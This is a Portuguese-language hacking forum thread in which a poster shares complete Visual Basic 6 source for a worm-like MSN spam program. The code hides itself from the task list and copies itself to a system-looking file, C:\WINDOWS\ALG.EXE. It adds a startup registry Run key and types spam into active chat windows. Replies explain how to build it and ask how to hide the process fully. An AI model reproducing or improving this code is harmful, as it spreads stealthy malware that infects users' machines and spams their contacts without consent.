[Source] MSN SPAM

[Dark_Side]

Hi,
Alguém já viu aquele WORM LOL do sapo motoqueiro? o worm se manifesta através de janelas de conversa do MSN, onde sem a intervenção do usuário, um link é enviado para o contato presente. O programa abaixo funciona de forma similar ao WORM, enviando em tempos definidos um SPAM definido para a janela de conversa ativa.

Code Select Expand

'MSN SPAM by Dark Side

Option Explicit 'Força declaração de variáveis

'Funçoes -> API
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.

Private Const HKEY_LOCAL_MACHINE = &H80000002 'Chave do registro

'Variáveis
Dim chave As Long
Dim hwnd_aux As Long
Dim hwnd_focus As Long
Dim tempo As Variant
Dim SPAM As String
Dim titulo As String * 255
Dim x As Integer

Private Sub Form_Load() 'Ao iniciar -> Chamar funções
Call ocultar
Call copiar
Call registrar
'Ajusta timer
Timer1.Enabled = True
Timer1.Interval = 100

tempo = Array(0, 5, 10, 15, 20, 25, 30, 40, 50) 'Minutos em que o SPAM será enviado.
SPAM = "SEU SPAM AKI !!!" 'Seu SPAM aqui.
End Sub

Private Sub Timer1_Timer()
hwnd_focus = GetForegroundWindow() 'Pega janela com foco
If hwnd_focus <> hwnd_aux Then 'Verifica se não foi logada
GetWindowText hwnd_focus, titulo, 255 'Caso não -> pega seu título.
If InStr(1, titulo, " - Conversa") Then 'Procura em seu título -> " - Conversa"
For x = 0 To UBound(tempo) 'Percorre os valores da array 'tempo'
If Int(tempo(x)) = Minute(Now) Then 'Verifica se os minutos conferem com algum elemento da array
'Caso sim -> Envia SPAM
SendKeys SPAM
SendKeys "{ENTER}"
End If
Next
hwnd_aux = hwnd_focus 'Seta como janela logada.
End If
End If
End Sub

Function ocultar()
'Torna janela invisível, oculta aplicação -> CTRL+ALT+DEL
Form1.Visible = False
App.TaskVisible = False
End Function

Function copiar() 'Faz cópia em "C:\WINDOWS\ALG.EXE"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\ALG.EXE"
End Function

Function registrar() 'Cria chave no registro
RegOpenKey HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", chave
RegSetValueEx chave, "ALG.EXE", 0, 1, ByVal "C:\WINDOWS\ALG.EXE", 255
End Function
Bye.

[Shady]

Bem legal pra quem estuda VB...

[Sladrak]

Nossa!

Muito interessante seus codigos!!

Alguem poderia me indicar 1 apostila ou artigo que fale sobre API??

Vi ali no codigo varias... e nunca li nada sobre elas...
Tava querendo entender melhor...

Vlw pelo codigo..
flw

[Wuefez]

Realmente é o que eu digo, esse cara é Jedi... (Ou sith)

[tiaguito-.-]

eu tenho http://rapidshare.de/files/32898650/api_lib.pdf upadinha! =)

obs:Apostila API

^.-

[Magrinho Loko]

Erm, já tenho o Visual Basic 6.0 instalado. Mais como que faço para utilizar este codigo???

[Sladrak]

Erm, já tenho o Visual Basic 6.0 instalado. Mais como que faço para utilizar este codigo???

Você tem que adicionar ao projeto os componentes necessários, que ele citou que no caso
é só um timer as demais linhas do código terão que ser adicionadas na parte de cogidos xD...

Darkside,
ali você criou uma função que deixa invisível o aplicativo do gerenciador de tarefas,
mas somente na parte de aplicativos, na de processo ele continua visivel.
Você não conhece nenhum código que o deixe totalmente invisivel?

Desculpe por postar depois de tanto tempo, mas é que tem relação com o post, não havia
pq criar outro.
Flw